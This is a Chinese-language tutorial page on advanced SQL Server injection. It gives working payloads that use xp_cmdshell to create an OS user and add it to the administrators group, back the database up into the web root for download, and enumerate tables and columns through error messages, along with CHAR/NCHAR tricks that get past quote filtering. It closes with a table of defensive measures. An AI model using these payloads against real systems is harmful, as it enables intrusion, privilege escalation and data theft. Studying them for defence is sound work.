首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL 注入進階:系統表利用、繞過過濾與防範體系

     編輯:關於SqlServer

SQL Server 強大的系統表與擴展存儲過程(xp_cmdshell)是注入攻擊的豐富彈藥庫。本文實戰拆解六大注入向量與繞過單引號過濾技術。

六大經典注入向量(前提:sa 權限連接)

  1. 命令執行:;exec master..xp_cmdshell "net user hack pass /add"-- → 添加系統用戶
  2. 提權入組:;exec master..xp_cmdshell "net localgroup administrators hack /add"-- → 獲取管理員權限
  3. 偵察數據庫:;;and db_name()>0 → 獲取當前數據庫名
  4. 備份竊取:;backup database db to disk='c:\web\1.db'-- → 將庫備份到 Web 目錄下載
  5. 枚舉用戶表:;;and (SELECT TOP 1 name FROM sysobjects WHERE xtype='U' AND status>0)>0 → 報錯回顯表名
  6. 枚舉列名:;;and (SELECT TOP 1 col_name(object_id('表名'),1) FROM sysobjects)>0 → 逐列爆破字段名

繞過單引號過濾:編碼與函數替代

  • WHERE xtype='U' → WHERE xtype=CHAR(85)
  • WHERE name='用戶' → WHERE name=NCHAR(29992)+NCHAR(25143)
  • 利用 CHAR()、NCHAR()、ASCII()、UNICODE() 構造任意字符串

防範體系:參數化查詢 + 最小權限 + 深度防禦

層級措施
代碼層強制參數化查詢(SqlParameter)、禁止動態拼接 SQL
數據庫層應用賬號僅授 EXEC 存儲過程權限,禁用 sa、撤銷 xp_cmdshell 公共權限
網絡層WAF 規則攔截疑似注入載荷、限制錯誤信息回顯
審計層啟用 SQL Server 審計/擴展事件記錄失敗登錄、DDL/DML 異常

「安全與開發本是相輔相成」—— 理解攻擊原理,才能寫出真正安全的代碼。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved